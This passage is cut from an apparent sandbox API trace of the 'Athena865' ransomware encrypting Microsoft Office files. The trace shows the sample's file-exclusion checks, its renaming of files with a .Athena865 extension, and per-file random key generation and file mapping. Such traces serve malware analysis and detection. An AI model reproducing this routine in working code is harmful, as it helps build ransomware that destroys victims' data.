Office\\Office14\\MSOUTLS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msoutls.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.442] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=284024) returned 1 [0077.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.442] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.443] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.443] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.443] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45880, lpName=0x0) returned 0x17c [0077.445] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45880) returned 0x2d50000 [0077.469] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.470] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.470] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.471] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.473] CloseHandle (hObject=0x17c) returned 1 [0077.473] CloseHandle (hObject=0x154) returned 1 [0077.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.474] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f00800, ftCreationTime.dwHighDateTime=0x1caba23, ftLastAccessTime.dwLowDateTime=0xbde72640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f00800, ftLastWriteTime.dwHighDateTime=0x1caba23, nFileSizeHigh=0x0, nFileSizeLow=0x11560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPJEVTS.DLL", cAlternateFileName="")) returned 1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2=".") returned 1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="..") returned 1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="windows") returned -1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="bootmgr") returned 1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="temp") returned -1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="pagefile.sys") returned -1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="boot") returned 1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="ids.txt") returned 1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="ntuser.dat") returned -1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="perflogs") returned -1 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2="MSBuild") returned 1 [0077.475] lstrlenW (lpString="MSPJEVTS.DLL") returned 12 [0077.475] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSPJEVTS.DLL" | out: lpString1="MSPJEVTS.DLL") returned="MSPJEVTS.DLL" [0077.475] lstrlenW (lpString="MSPJEVTS.DLL") returned 12 [0077.475] lstrlenW (lpString="Athena865") returned 9 [0077.475] lstrcmpiW (lpString1="JEVTS.DLL", lpString2="Athena865") returned 1 [0077.475] lstrlenW (lpString=".dll") returned 4 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2=".dll") returned 1 [0077.475] lstrlenW (lpString=".lnk") returned 4 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2=".lnk") returned 1 [0077.475] lstrlenW (lpString=".ini") returned 4 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2=".ini") returned 1 [0077.475] lstrlenW (lpString=".sys") returned 4 [0077.475] lstrcmpiW (lpString1="MSPJEVTS.DLL", lpString2=".sys") returned 1 [0077.475] lstrlenW (lpString="MSPJEVTS.DLL") returned 12 [0077.475] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSPJEVTS.DLL.Athena865") returned 65 [0077.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPJEVTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mspjevts.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPJEVTS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mspjevts.dll.athena865"), dwFlags=0x1) returned 1 [0077.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPJEVTS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mspjevts.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.476] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=71008) returned 1 [0077.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.477] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.477] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.477] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.478] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11860, lpName=0x0) returned 0x17c [0077.480] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11860) returned 0x100000 [0077.489] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.490] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.490] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.491] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0077.491] CloseHandle (hObject=0x17c) returned 1 [0077.491] CloseHandle (hObject=0x154) returned 1 [0077.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.492] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x62588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPPT.OLB", cAlternateFileName="")) returned 1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2=".") returned 1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="..") returned 1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="windows") returned -1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="bootmgr") returned 1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="temp") returned -1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="pagefile.sys") returned -1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="boot") returned 1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="ids.txt") returned 1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="ntuser.dat") returned -1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="perflogs") returned -1 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2="MSBuild") returned 1 [0077.492] lstrlenW (lpString="MSPPT.OLB") returned 9 [0077.492] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSPPT.OLB" | out: lpString1="MSPPT.OLB") returned="MSPPT.OLB" [0077.492] lstrlenW (lpString="MSPPT.OLB") returned 9 [0077.492] lstrlenW (lpString="Athena865") returned 9 [0077.492] lstrlenW (lpString=".dll") returned 4 [0077.492] lstrcmpiW (lpString1="MSPPT.OLB", lpString2=".dll") returned 1 [0077.493] lstrlenW (lpString=".lnk") returned 4 [0077.493] lstrcmpiW (lpString1="MSPPT.OLB", lpString2=".lnk") returned 1 [0077.493] lstrlenW (lpString=".ini") returned 4 [0077.493] lstrcmpiW (lpString1="MSPPT.OLB", lpString2=".ini") returned 1 [0077.493] lstrlenW (lpString=".sys") returned 4 [0077.493] lstrcmpiW (lpString1="MSPPT.OLB", lpString2=".sys") returned 1 [0077.493] lstrlenW (lpString="MSPPT.OLB") returned 9 [0077.493] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB.Athena865") returned 62 [0077.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb.athena865"), dwFlags=0x1) returned 1 [0077.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.494] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=402824) returned 1 [0077.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.494] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.495] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.495] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.495] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x62890, lpName=0x0) returned 0x17c [0077.497] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x62890) returned 0x2d50000 [0077.524] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.525] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.525] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.525] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.529] CloseHandle (hObject=0x17c) returned 1 [0077.529] CloseHandle (hObject=0x154) returned 1 [0077.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.531] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe57c63a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xd65a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPRJ.OLB", cAlternateFileName="")) returned 1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2=".") returned 1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="..") returned 1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="windows") returned -1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="bootmgr") returned 1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="temp") returned -1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="pagefile.sys") returned -1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="boot") returned 1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="ids.txt") returned 1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="ntuser.dat") returned -1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="perflogs") returned -1 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2="MSBuild") returned 1 [0077.531] lstrlenW (lpString="MSPRJ.OLB") returned 9 [0077.531] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSPRJ.OLB" | out: lpString1="MSPRJ.OLB") returned="MSPRJ.OLB" [0077.531] lstrlenW (lpString="MSPRJ.OLB") returned 9 [0077.531] lstrlenW (lpString="Athena865") returned 9 [0077.531] lstrlenW (lpString=".dll") returned 4 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2=".dll") returned 1 [0077.531] lstrlenW (lpString=".lnk") returned 4 [0077.531] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2=".lnk") returned 1 [0077.531] lstrlenW (lpString=".ini") returned 4 [0077.532] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2=".ini") returned 1 [0077.532] lstrlenW (lpString=".sys") returned 4 [0077.532] lstrcmpiW (lpString1="MSPRJ.OLB", lpString2=".sys") returned 1 [0077.532] lstrlenW (lpString="MSPRJ.OLB") returned 9 [0077.532] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB.Athena865") returned 62 [0077.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb.athena865"), dwFlags=0x1) returned 1 [0077.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.535] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=877984) returned 1 [0077.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.535] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.536] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.536] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.536] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd68a0, lpName=0x0) returned 0x17c [0077.538] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd68a0) returned 0x2d50000 [0077.565] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.566] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.566] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.566] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.573] CloseHandle (hObject=0x17c) returned 1 [0077.573] CloseHandle (hObject=0x154) returned 1 [0077.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.577] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xdac3c1c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x4e760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msproof7.dll", cAlternateFileName="")) returned 1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2=".") returned 1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="..") returned 1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="windows") returned -1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="bootmgr") returned 1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="temp") returned -1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="pagefile.sys") returned -1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="boot") returned 1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="ids.txt") returned 1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="ntuser.dat") returned -1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="perflogs") returned -1 [0077.577] lstrcmpiW (lpString1="msproof7.dll", lpString2="MSBuild") returned 1 [0077.577] lstrlenW (lpString="msproof7.dll") returned 12 [0077.577] lstrcpyW (in: lpString1=0x241e89e, lpString2="msproof7.dll" | out: lpString1="msproof7.dll") returned="msproof7.dll" [0077.578] lstrlenW (lpString="msproof7.dll") returned 12 [0077.578] lstrlenW (lpString="Athena865") returned 9 [0077.578] lstrcmpiW (lpString1="roof7.dll", lpString2="Athena865") returned 1 [0077.578] lstrlenW (lpString=".dll") returned 4 [0077.578] lstrcmpiW (lpString1="msproof7.dll", lpString2=".dll") returned 1 [0077.578] lstrlenW (lpString=".lnk") returned 4 [0077.578] lstrcmpiW (lpString1="msproof7.dll", lpString2=".lnk") returned 1 [0077.578] lstrlenW (lpString=".ini") returned 4 [0077.578] lstrcmpiW (lpString1="msproof7.dll", lpString2=".ini") returned 1 [0077.578] lstrlenW (lpString=".sys") returned 4 [0077.578] lstrcmpiW (lpString1="msproof7.dll", lpString2=".sys") returned 1 [0077.578] lstrlenW (lpString="msproof7.dll") returned 12 [0077.578] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\msproof7.dll.Athena865") returned 65 [0077.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\msproof7.dll" (normalized: "c:\\program files\\microsoft office\\office14\\msproof7.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\msproof7.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msproof7.dll.athena865"), dwFlags=0x1) returned 1 [0077.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\msproof7.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msproof7.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.579] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=321376) returned 1 [0077.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 